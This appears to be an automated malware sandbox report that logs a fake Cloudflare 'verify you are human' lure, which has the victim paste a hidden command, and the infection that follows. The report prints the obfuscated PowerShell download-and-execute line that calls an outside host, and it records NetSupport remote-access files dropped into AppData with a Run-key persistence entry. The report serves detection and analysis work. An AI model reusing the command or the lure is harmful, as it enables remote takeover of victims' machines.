Source: C:\Users\user\AppData\Roaming\bpsFyf\client32.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\bpsFyf\client32.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\bpsFyf\client32.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\bpsFyf\client32.exe	Section loaded: dbgcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\bpsFyf\client32.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\bpsFyf\client32.exe	Section loaded: nsmtrace.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\bpsFyf\client32.exe	Section loaded: nslsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\bpsFyf\client32.exe	Section loaded: devobj.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\bpsFyf\client32.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\bpsFyf\client32.exe	Section loaded: pcihooks.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\bpsFyf\client32.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\bpsFyf\client32.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\bpsFyf\client32.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\bpsFyf\client32.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\bpsFyf\client32.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\bpsFyf\client32.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\bpsFyf\client32.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\bpsFyf\client32.exe	Section loaded: riched32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\bpsFyf\client32.exe	Section loaded: riched20.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\bpsFyf\client32.exe	Section loaded: usp10.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\bpsFyf\client32.exe	Section loaded: msls31.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\bpsFyf\client32.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\bpsFyf\client32.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\bpsFyf\client32.exe	Section loaded: pciinv.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\bpsFyf\client32.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\bpsFyf\client32.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\bpsFyf\client32.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\bpsFyf\client32.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\bpsFyf\client32.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\bpsFyf\client32.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\bpsFyf\client32.exe	Section loaded: fwpolicyiomgr.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\bpsFyf\client32.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\bpsFyf\client32.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\bpsFyf\client32.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\bpsFyf\client32.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\bpsFyf\client32.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\bpsFyf\client32.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\bpsFyf\client32.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\bpsFyf\client32.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\bpsFyf\client32.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\bpsFyf\client32.exe	Section loaded: fwpuclnt.dll	Jump to behavior

Source: C:\Windows\System32\mshta.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{25336920-03F9-11cf-8FD0-00AA00686F13}\InProcServer32

Jump to behavior

Source: Google Drive.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: YouTube.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Sheets.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Gmail.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Slides.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Docs.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File written: C:\Users\user\AppData\Roaming\bpsFyf\client32.ini

Jump to behavior

Source: C:\Windows\System32\mshta.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Internet Explorer\Settings

Jump to behavior

Source: C:\Users\user\AppData\Roaming\bpsFyf\client32.exe

File opened: C:\Windows\SysWOW64\riched32.dll

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source: C:\Users\user\AppData\Roaming\bpsFyf\client32.exe

File opened: C:\Users\user\AppData\Roaming\bpsFyf\MSVCR100.dll

Jump to behavior

Source:	Binary string: E:\nsmsrc\nsm\1210\1210\ctl32\Full\pcichek.pdb source: powershell.exe, 0000000C.00000002.1977374778.000002F201CA8000.00000004.00000800.00020000.00000000.sdmp, client32.exe, 00000015.00000002.2429888490.0000000073D72000.00000002.00000001.01000000.00000010.sdmp, PCICHEK.DLL.12.dr
Source:	Binary string: msvcr100.i386.pdb source: client32.exe, client32.exe, 00000015.00000002.2427957833.0000000073C41000.00000020.00000001.01000000.00000012.sdmp, msvcr100.dll.12.dr
Source:	Binary string: E:\nsmsrc\nsm\1210\1210f\client32\Release\PCICL32.pdb source: client32.exe, 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmp, PCICL32.DLL.12.dr
Source:	Binary string: E:\nsmsrc\nsm\1210\1210\ctl32\Full\pcichek.pdbN source: powershell.exe, 0000000C.00000002.1977374778.000002F201CA8000.00000004.00000800.00020000.00000000.sdmp, PCICHEK.DLL.12.dr
Source:	Binary string: E:\nsmsrc\nsm\1210\1210f\ctl32\release\htctl32.pdbL source: client32.exe, 00000015.00000002.2427569432.000000006C640000.00000002.00000001.01000000.00000013.sdmp, HTCTL32.DLL.12.dr
Source:	Binary string: E:\nsmsrc\nsm\1210\1210f\ctl32\release\tcctl32.pdb source: TCCTL32.DLL.12.dr
Source:	Binary string: E:\nsmsrc\nsm\1410\1410\client32\release_unicode\client32.pdb source: client32.exe, 00000015.00000002.2405808800.0000000000D12000.00000002.00000001.01000000.0000000E.sdmp, client32.exe, 00000015.00000000.1975726137.0000000000D12000.00000002.00000001.01000000.0000000E.sdmp, client32.exe.12.dr
Source:	Binary string: E:\nsmsrc\nsm\1210\1210f\ctl32\release\htctl32.pdb source: client32.exe, 00000015.00000002.2427569432.000000006C640000.00000002.00000001.01000000.00000013.sdmp, HTCTL32.DLL.12.dr
Source:	Binary string: E:\nsmsrc\nsm\1210\1210\ctl32\Release\pcicapi.pdb source: client32.exe, 00000015.00000002.2429698530.0000000073D55000.00000002.00000001.01000000.00000011.sdmp, pcicapi.dll.12.dr
Source:	Binary string: E:\nsmsrc\nsm\1210\1210f\ctl32\release\tcctl32.pdbP source: TCCTL32.DLL.12.dr

Data Obfuscation

Suspicious powershell command line found

Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $c1='(New-Object Net.We'; $c4='bClient).Downlo'; $c3='adString(''http://traversecityspringbreak.com/o/o.png'')';$TC=I`E`X ($c1,$c4,$c3 -Join '')\|I`E`X
Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $c1='(New-Object Net.We'; $c4='bClient).Downlo'; $c3='adString(''http://traversecityspringbreak.com/o/o.png'')';$TC=I`E`X ($c1,$c4,$c3 -Join '')\|I`E`X			Jump to behavior

Source: C:\Users\user\AppData\Roaming\bpsFyf\client32.exe

Code function: 21_2_11029590 GetTickCount,LoadLibraryA,GetProcAddress,SetLastError,_malloc,GetProcAddress,GetLastError,_free,_malloc,GetProcAddress,GetProcAddress,InternetOpenA,SetLastError,SetLastError,SetLastError,_free,GetProcAddress,SetLastError,GetProcAddress,InternetConnectA,GetProcAddress,SetLastError,SetLastError,GetProcAddress,SetLastError,GetProcAddress,SetLastError,GetLastError,GetProcAddress,SetLastError,GetLastError,GetDesktopWindow,GetProcAddress,SetLastError,GetProcAddress,SetLastError,GetProcAddress,SetLastError,FreeLibrary,

21_2_11029590

Source: PCICL32.DLL.12.dr

Static PE information: section name: .hhshare

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 12_2_00007FFEB7114AED push ebx; retf 0064h	12_2_00007FFEB7114B1A
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 12_2_00007FFEB75C66D8 pushad ; retf	12_2_00007FFEB75C66D9
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 12_2_00007FFEB78702CA pushad ; iretd	12_2_00007FFEB78702CB
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 12_2_00007FFEB78702BA push eax; iretd	12_2_00007FFEB78702BB
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 12_2_00007FFEB7A433F4 push esp; iretd	12_2_00007FFEB7A433F5
Source: C:\Users\user\AppData\Roaming\bpsFyf\client32.exe	Code function: 21_2_1116F055 push ecx; ret	21_2_1116F068
Source: C:\Users\user\AppData\Roaming\bpsFyf\client32.exe	Code function: 21_2_11169F49 push ecx; ret	21_2_11169F5C

Source: msvcr100.dll.12.dr

Static PE information: section name: .text entropy: 6.909044922675825

Persistence and Installation Behavior

Detect drive by download via clipboard copy & paste

Source: Chrome DOM: 2.3	OCR Text: CloudFlare Veri g the action below. Complete these Verification Steps To better prove you are not a robot, please: 1. Press & hold the Windows Key + R Clou urity of your 2. In the verification window, press Ctrl + V. 3. Press Enter on your keyboard to finish. conn You will observe and agree: "Versify you are hutzri - Ray Verification 3293" Perform the steps above to VERIFY finish verification. Performance & security by Cloudflare
Source: screenshot	OCR Text: x e about:blank X Just a moment.. inspyrehomedesign.com CloudFlare Veri g the action below. Complete these Verification Steps ENG English (United Kingdom) To better prove you are not a robot, please: SG Swiss German keyboard ENG English (United Kingdom) 1. Press & hold the Windows Key + R Clou urity of your DE German keyboard 2. In the verification window press Ctrl + V. 3. Press Enter on your keyboard to finish conn You will observe and agree: "Versify you are human - Ray Verification TID: 3293" Perform the steps above to VERIFY finish verification. Performance & security by Cloudflare 14:45 ENG p Type here to search 28/10/2024
Source: screenshot	OCR Text: x e about:blank X Just a moment.. inspyrehomedesign.com CloudFlare Veri g the action below. Complete these Verification Steps To better prove you are not a robot, please: 1. Press & hold the Windows Key + R Clou urity of your 2. In the verification window press Ctrl + V. 3. Press Enter on your keyboard to finish conn You will observe and agree: "Versify you are human - Ray Verification TID: 3293" Perform the steps above to VERIFY finish verification. Performance & security by Cloudflare 14:45 ENG p Type here to search SG 28/10/2024

Uses ipconfig to lookup or modify the Windows network settings

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process created: C:\Windows\System32\ipconfig.exe "C:\Windows\system32\ipconfig.exe" /flushdns

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Roaming\bpsFyf\msvcr100.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Roaming\bpsFyf\pcicapi.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Roaming\bpsFyf\remcmdstub.exe	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Roaming\bpsFyf\TCCTL32.DLL	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Roaming\bpsFyf\client32.exe	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Roaming\bpsFyf\PCICHEK.DLL	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Roaming\bpsFyf\PCICL32.DLL	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Roaming\bpsFyf\HTCTL32.DLL	Jump to dropped file

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk	Jump to behavior

Source: C:\Users\user\AppData\Roaming\bpsFyf\client32.exe

21_2_11127E10

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Microsoft			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Microsoft			Jump to behavior

Source: C:\Users\user\AppData\Roaming\bpsFyf\client32.exe	Code function: 21_2_11139090 GetCurrentThreadId,IsWindowVisible,IsWindow,IsWindowVisible,IsWindowVisible,GetForegroundWindow,EnableWindow,EnableWindow,EnableWindow,SetForegroundWindow,FindWindowA,IsWindowVisible,IsWindowVisible,IsIconic,GetForegroundWindow,SetForegroundWindow,EnableWindow,GetLastError,GetLastError,GetLastError,GetTickCount,GetTickCount,FreeLibrary,	21_2_11139090
Source: C:\Users\user\AppData\Roaming\bpsFyf\client32.exe	Code function: 21_2_1115B1D0 _memset,SendMessageA,SendMessageA,ShowWindow,SendMessageA,IsIconic,IsZoomed,ShowWindow,GetDesktopWindow,TileWindows,	21_2_1115B1D0
Source: C:\Users\user\AppData\Roaming\bpsFyf\client32.exe	Code function: 21_2_11113290 IsIconic,GetTickCount,CreateRectRgn,GetClientRect,SetStretchBltMode,CreateRectRgn,GetClipRgn,OffsetRgn,GetRgnBox,SelectClipRgn,StretchBlt,SelectClipRgn,DeleteObject,StretchBlt,StretchBlt,GetWindowOrgEx,StretchBlt,GetKeyState,CreatePen,CreatePen,SelectObject,Polyline,Sleep,SelectObject,Polyline,Sleep,SelectObject,DeleteObject,DeleteObject,BitBlt,	21_2_11113290
Source: C:\Users\user\AppData\Roaming\bpsFyf\client32.exe	Code function: 21_2_110CB2B0 GetWindowRect,IsIconic,GetClientRect,GetSystemMetrics,GetSystemMetrics,GetSystemMetrics,IsIconic,GetWindowRect,SetWindowPos,	21_2_110CB2B0
Source: C:\Users\user\AppData\Roaming\bpsFyf\client32.exe	Code function: 21_2_110CB2B0 GetWindowRect,IsIconic,GetClientRect,GetSystemMetrics,GetSystemMetrics,GetSystemMetrics,IsIconic,GetWindowRect,SetWindowPos,	21_2_110CB2B0
Source: C:\Users\user\AppData\Roaming\bpsFyf\client32.exe	Code function: 21_2_110254A0 SetWindowPos,GetMenu,DrawMenuBar,GetMenu,DeleteMenu,UpdateWindow,IsIconic,SetTimer,KillTimer,	21_2_110254A0
Source: C:\Users\user\AppData\Roaming\bpsFyf\client32.exe	Code function: 21_2_110258F0 IsIconic,BringWindowToTop,GetCurrentThreadId,	21_2_110258F0
Source: C:\Users\user\AppData\Roaming\bpsFyf\client32.exe	Code function: 21_2_11023BA0 BringWindowToTop,SetWindowPos,SetWindowPos,SetWindowPos,GetWindowLongA,SetWindowLongA,GetDlgItem,EnableWindow,GetMenu,DeleteMenu,DrawMenuBar,SetWindowPos,IsIconic,UpdateWindow,SetTimer,KillTimer,	21_2_11023BA0
Source: C:\Users\user\AppData\Roaming\bpsFyf\client32.exe	Code function: 21_2_11024280 _memset,_strncpy,_memset,_strncpy,IsWindow,IsIconic,BringWindowToTop,GetCurrentThreadId,	21_2_11024280
Source: C:\Users\user\AppData\Roaming\bpsFyf\client32.exe	Code function: 21_2_11112670 IsIconic,GetTickCount,	21_2_11112670
Source: C:\Users\user\AppData\Roaming\bpsFyf\client32.exe	Code function: 21_2_111229D0 IsIconic,FreeLibrary,IsIconic,InvalidateRect,PostMessageA,PostMessageA,PostMessageA,PostMessageA,PostMessageA,PostMessageA,	21_2_111229D0
Source: C:\Users\user\AppData\Roaming\bpsFyf\client32.exe	Code function: 21_2_111229D0 IsIconic,FreeLibrary,IsIconic,InvalidateRect,PostMessageA,PostMessageA,PostMessageA,PostMessageA,PostMessageA,PostMessageA,	21_2_111229D0
Source: C:\Users\user\AppData\Roaming\bpsFyf\client32.exe	Code function: 21_2_110C0BB0 IsIconic,ShowWindow,BringWindowToTop,GetCurrentThreadId,	21_2_110C0BB0
Source: C:\Users\user\AppData\Roaming\bpsFyf\client32.exe	Code function: 21_2_1115ADD0 IsIconic,ShowWindow,BringWindowToTop,IsWindow,IsIconic,ShowWindow,BringWindowToTop,	21_2_1115ADD0
Source: C:\Users\user\AppData\Roaming\bpsFyf\client32.exe	Code function: 21_2_1115ADD0 IsIconic,ShowWindow,BringWindowToTop,IsWindow,IsIconic,ShowWindow,BringWindowToTop,	21_2_1115ADD0

Source: C:\Users\user\AppData\Roaming\bpsFyf\client32.exe

Code function: 21_2_11143570 GetTickCount,GetModuleFileNameA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,GetModuleHandleA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

21_2_11143570

Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
